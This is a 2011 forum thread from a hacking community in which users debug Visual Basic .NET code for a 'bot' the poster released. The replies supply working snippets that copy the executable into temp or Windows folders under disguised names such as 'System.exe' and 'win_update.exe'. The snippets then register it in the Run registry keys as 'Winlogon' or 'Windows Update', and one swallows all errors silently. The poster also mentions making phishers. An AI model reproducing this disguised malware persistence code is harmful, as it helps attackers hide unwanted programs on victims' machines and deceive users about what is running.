Sinisterly
Startup - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: Startup (/Thread-Startup)



Startup - 1llusion - 01-28-2011

Hey Smile

Well... My bot that I released has a problem with registry startup, I think I tried to repair it for long enough to ask for help Biggrin

Well, here is the code:
Code:
If reg = True Then If temp = True Then If System.IO.File.Exists(Environ("temp") & "System.exe") = False Then IO.File.Copy(Application.ExecutablePath, Environ("temp") & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", Environ("temp") & "System.exe") regKey.Close() ElseIf win = True Then If System.IO.File.Exists(Environ("windir") & "System.exe") = False Then IO.File.Copy(Application.ExecutablePath, Environ("windir") & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", Environ("windir") & "System.exe") regKey.Close() ElseIf custom = True Then If System.IO.File.Exists(dir) = False Then IO.File.Copy(Application.ExecutablePath, dir & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", dir & "System.exe") regKey.Close() End If End If

Error is: Object reference not set to an instance of an object

Also, I'm not 100% sure its this Smile might be other thing, but I want to make sure, before I will completely recode everything Biggrin


Thanks alooooot!!!!

-gives a cookie-


RE: Startup - Coder-san - 01-29-2011

This should work. Normalized your code too. Smile

Code:
If reg = True Then Dim fLocation As String = String.Empty If temp = True Then fLocation = Environ("temp") & "System.exe" ElseIf win = True Then fLocation = Environ("windir") & "System.exe" ElseIf custom = True Then fLocation = dir & "System.exe" End If If System.IO.File.Exists(fLocation) = False Then IO.File.Copy(Application.ExecutablePath, fLocation) End If Dim regKey As New RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", fLocation) regKey.Close() End If



RE: Startup - 1llusion - 01-29-2011

Thanks Smile Still can't figure out why my code didn't work Tongue but probably computers are more clever then we think and they saw its coded in dumb way Tongue


RE: Startup - Coder-san - 01-30-2011

You get that error 91 when your variable is not blank or it's not a new instance.

You had this:
Code:
Dim regKey As RegistryKey

Should be:
Code:
Dim regKey As New RegistryKey



RE: Startup - 1llusion - 01-30-2011

(01-30-2011, 05:22 AM)Coder-san Wrote: You get that error 91 when your variable is not blank or it's not a new instance.

You had this:
Code:
Dim regKey As RegistryKey

Should be:
Code:
Dim regKey As New RegistryKey

wow thanks Smile I actually thought it would be other way around! Smile thanks!

EDIT: 'regkey has no contructors' ... What is causing that? I tried similar thing like with threading, but failed (ofc)
Code:
Dim t as thread t = New Thread(AdressOf sub)



RE: Startup - 1234hotmaster - 01-30-2011

sad i can't help but think coder can...

btw the first code you can use

(environ("temp") & "\" & application.productname & ".exe")


RE: Startup - V1P3R - 01-30-2011

Code:
Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try End Sub
try it and good luck :3


RE: Startup - Coder-san - 01-30-2011

(01-30-2011, 12:57 PM)1llusion Wrote:
(01-30-2011, 05:22 AM)Coder-san Wrote: You get that error 91 when your variable is not blank or it's not a new instance.

You had this:
Code:
Dim regKey As RegistryKey

Should be:
Code:
Dim regKey As New RegistryKey

wow thanks Smile I actually thought it would be other way around! Smile thanks!

EDIT: 'regkey has no contructors' ... What is causing that? I tried similar thing like with threading, but failed (ofc)
Code:
Dim t as thread t = New Thread(AdressOf sub)

Hmm, yeah I didn't test that.

You can use this:

Code:
Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Winlogon", "C:\fil.exe")

For starting a Thread you need this:

Code:
CheckForIllegalCrossThreadCalls = False Dim t As New Threading.Thread(AddressOf YourSub) t.IsBackground = True t.Start()



RE: Startup - 1llusion - 01-30-2011

thanks Smile

damn without you I would be still making simple phishers O.o Smile